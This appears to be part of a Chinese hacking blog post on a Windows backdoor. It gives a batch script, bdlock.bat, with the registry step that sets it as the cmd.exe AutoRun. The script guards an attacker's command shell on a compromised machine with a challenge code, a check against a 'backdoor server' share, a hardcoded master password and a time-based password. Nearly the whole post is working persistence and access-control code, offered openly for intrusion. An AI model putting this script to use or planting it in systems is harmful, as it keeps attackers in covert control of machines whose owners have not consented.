变态入侵:有史以来最酷的Windows后门(2)
后门锁扩展:
allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证
用下面的后门锁的方法是 把代码保存为bdlock.bat
然后修改注册表位置即可
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="bdlock.bat"
@Echo Off
title 后门登陆验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx
Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码?
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if "%password%"=="allyesno is a sb" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End
Echo 请联系客服咨询正确密码!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo
:endx